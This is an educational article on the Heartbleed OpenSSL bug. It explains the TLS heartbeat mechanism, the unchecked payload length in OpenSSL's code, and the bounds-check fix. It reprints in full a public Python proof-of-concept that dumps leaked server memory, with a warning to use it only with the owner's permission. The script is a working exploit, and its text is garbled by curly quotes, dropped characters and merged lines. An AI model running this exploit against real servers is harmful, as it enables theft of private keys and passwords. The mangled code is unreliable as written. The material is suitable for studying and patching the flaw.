Knowing the Heartbleed Bug
by Mirko Raimondi
The Secure Sockets Layer (SSL) is a protocol described in RFC 6101, it’s used for managing the security of a message transmissions on the Internet. SSL has been succeeded by Transport Layer Security (TLS), described in RFC 5246, which is based on SSL. Developed by Netscape, SSL also gained the support of other Internet client/server developers as well and became the de facto standard until evolving into TLS. TLS/SSL uses the public-and-private key encryption system from RSA, which also includes the use of a digital certificate. TLS/SSL is an integral part of most Web browsers (the client side) and Web servers.
OpenSSL library derives from SSLeay. SSLeay was originally developed beginning in 1995, but in December 1998 SSLeay ceased to be developed and the first version of OpenSSL was released (using SSLeay last release, never released, as starting point). OpenSSL is composed of two library: the first concern in cryptography and the latter is focused on SSL, as reported in the following:
• SSL library provides an implementation of all versions of the SSL protocol, including TLS;
• cryptography library provides popular cryptographic algorithms for both symmetric and public key, hash algorithms such as message digests. Moreover it provides a pseudorandom number generator and support for manipulating certificate.
OpenSSL is a free, full-featured SSL implementation currently available for use with both C and C++ programming languages. It can works across most used platforms, including all Unix OSs and all versions of Microsoft Windows. In practice, OpenSSL is a very widely used encryption library and it’s used by HyperText Transfer Protocol over Secure Socket Layer (HTTPS), which is used in order to secure communications in Internet network.
Heartbleed is a bug, it resides in a piece of code belonging to OpenSSL implementation of the ‘heartbeat’ mechanism (which is a feature used in order to keep the connections alive and it’ll be described in a deepen way in the following of the article), OpenSSL 1.0.1 through 1.0.1f (included) are vulnerable. The Heartbleed bug was registred as CVE-2014-0160 in the National Vulnerability Database of NIST.
In this article the author will explain cause and remedy of heartbleed bug, with the assumption that the reader is not a skilled software developer.
Heartbeat Feature
When two servers are ready to make an encrypted handshake, they perform a feature called a Heartbeat.
The TLS Heartbeat feature was conceived and developed in order to keep a connection alive, even when data does not run through it. So that if something goes wrong during this process, it doesn’t keep going. They do this by sending data forth and back to each other. This is accomplished by mean of messages containing random data and a payload length, one peer sends this message to the other which must to respond with another message sending exactly the same data. Thus, the client sends its heartbeat to the server and the server reply it right back. In this way, if something goes wrong during the transaction process, the other side will know it because the heartbeats get out of sync. In the following the data structure of the request is reported:
struct {
HeartbeatMessageType type;
uint16 payload_length;
opaque payload[HeartbeatMessage.payload_length];
opaque padding[padding_length];
} HeartbeatMessage;
As you can see by the above structure, the payload request is two bytes long.
We’ll see in the following of this article why this length is so important.
Bug Description
When you code a software, data input control length is really an important task, it should be accomplished by each smart developer in order to avoid an exploitation called ‘buffer overflow’. In Hertbleed bug the problem is in the code that handles the ‘heartbeat’ messages, since the bounds of the input are unchecked. By mean of this code mistake, one attacker can request that a server victim hands over a relatively large slice (up to 64KB) of its main memory space. Unfortunately, that memory space could be the same where OpenSSL stores the server’s private key material and other sensitive informations, hence one attacker could obtain some important informations like that reported in the following:
• long-term server private keys;
• passwords;
• TLS session keys.
These security informations could permits the attacker to decrypt TLS sessions and steal other useful information. Unfortunely, if an attacker discovers the server’s long-term private keys, he’ll be able to impersonate the TLS server identity without leave any trace. Now let’s have a look where the source code of openSSL is affected by the bug.
The source code interested by the Heartbleed bug is reported in the following:
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload );
pl = p;
if (s->msg_callback)
s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
&s->s3->rrec.data[0], s->s3->rrec.length,
s, s->msg_callback_arg);
if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 bytes
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload );
r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
The incoming data has a length stored into the variable called payload (which is emphatised by the author in the above source code) and it is managed as trusted value, since there’s not any bounds check. Then, at the response time, OpenSSL allocates a buffer by mean of the function OPENSSL_malloc, which is stored in the variable called buffer. Finally, it copies a number of data equal to payload number of bytes, from the variable called pl into the buffer allocated and now referred with the name bp. As already reported, there’s no check which assures that there are actually a number of bytes equal to payload in data, or that is in the bounds. Hence the attacker is able to obtain a piece of data from the main memory, that’s up to 64KB in length.
In order to fix this nasty bug, OpenSSL developers have added the appropriate checks in the source code.
In the following the source code of the bug fix is reported, the bounds control are reported in the if statements.
/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
return 0;
/* silently discard */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
return 0;
/* silently discard per RFC 6520 sec. 4 */
pl = p;
Bug Testing
There’s a script available on the web, it’s written in Phyton and could be used in order to test the server’s vulnerability. The author of this article recomends to use this tool only either you’re the owner of the server or you have the owner’s permission, otherwise you could be detected as attacker and get some trouble with the justice.
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160
# by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage=’%prog server [options]’,
description=’Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(‘-p’, ‘--port’, type=’int’, default=443,
help=’TCP port to test (default: 443)’)
def h2bin(x):
return x.replace(‘ ‘, .).replace(‘n’, .).decode(‘hex’)
hello = h2bin(.’
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
.’)
hb = h2bin(.’
18 03 02 00 03
01 40 00
.’)
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ‘ ‘.join(‘%02X’ % ord(c) for c in lin)
pdat = ..join((c if 32 <= ord(c) <= 126 else ‘.’ )for c in lin)
print ‘ %04x: %-48s %s’ % (b, hxdat, pdat)
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = .
remain = length
while remain > 0:
rtime = endtime – time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print ‘Unexpected EOF receiving record header
– server closed connection’
return None, None, None
typ, ver, ln = struct.unpack(‘>BHH’, hdr)
pay = recvall(s, ln, 10)
if pay is None:
print ‘Unexpected EOF receiving record payload
– server closed connection’
return None, None, None
print ‘ ... received message: type = %d, ver = %04x,
length = %d’ % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ‘No heartbeat response received, server likely not vulnerable’
return False
if typ == 24:
print ‘Received heartbeat response:’
hexdump(pay)
if len(pay) > 3:
print ‘WARNING: server returned more data than it should
– server is vulnerable!’
else:
print ‘Server processed malformed heartbeat, but did not
return any extra data.’
return True
if typ == 21:
print ‘Received alert:’
hexdump(pay)
print ‘Server returned error, likely not vulnerable’
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ‘Connecting...’
sys.stdout.flush()
s.connect((args[0], opts.port)) print ‘Sending Client Hello...’
sys.stdout.flush()
s.send(hello)
print ‘Waiting for Server Hello...’
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print ‘Server closed connection without sending Server Hello.’
return
# Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E:
break
print ‘Sending heartbeat request...’
sys.stdout.flush()
s.send(hb) hit_hb(s)
if __name__ == ‘__main__’:
main()
Once you have found out the vulnerability, you need to sort out the problem with OpenSSL library. As already reported, the 1.0.1g version is bug free. You can also recompile a version affected by Heartbleed bug by using the following option: -DOPENSSL_NO_HEARTBEATS.
Since there’s no a way to understand if one server has been exploited by an attacker, once the vulnerability was discovered the best practice is to assume that the server has been attacked. Hence, the network administrator must revoke the certificate belonging to the server and then he’ll create a new one.
Conclusion
In this article the author has described the most dangerous treats of the moment: the Heartbleed bug. This bug is a vulnerability belonging to the SSL servers, which are securing their connections by mean of OpenSSL library. Not all release of OpenSSL library are affected by this bug, the article reports the buged versions and provide a Phyton script, which could be used in order to test the vulnerability (be careful to use this testing utility just targeting servers with a previous owner’s authorization). Finally, the article reports the countermeasures that a network administrator should take in account in order to fix this nasty bug.
On the Web
• http://heartbleed.com – Heartbleed bug web page
• https://www.openssl.org – OpenSSL project
• https://gist.github.com/sh1n0b1/10100394 – Source code of tester
• http://tools.ietf.org/html/rfc5246 – RFC of TLS
• http://tools.ietf.org/html/rfc6101 – RFC of SSL
About the Author
Mirko Raimondi obtained his Master’s degree in Computer Science from the University of Milan – Computer Science Department. He worked as a Software Engineer at ITALTEL – an Italian leader company in telecommunications industry – where he was being the project leader of Netmatch-S Lite Edition, a VoIP Session Border Controller based on virtual platform and running on commercial hardware. In test plant of ITALTEL he realized testing scenarios by mean of Cisco L2/L3 devices and he has a CCNA-security in course. Curently he works in automotive industry, where he has realized an audio/video/meta-data multiplexer in order to hide GPS data in mov 9les. He’s interested in VoIP telecommunications, network security, steganography methods and computer forensics. You can contact him either through LinkedIn: http://it.linkedin.com/pub/mirko-raimondi/14/182/58a or via e-mail: [email protected]
Author
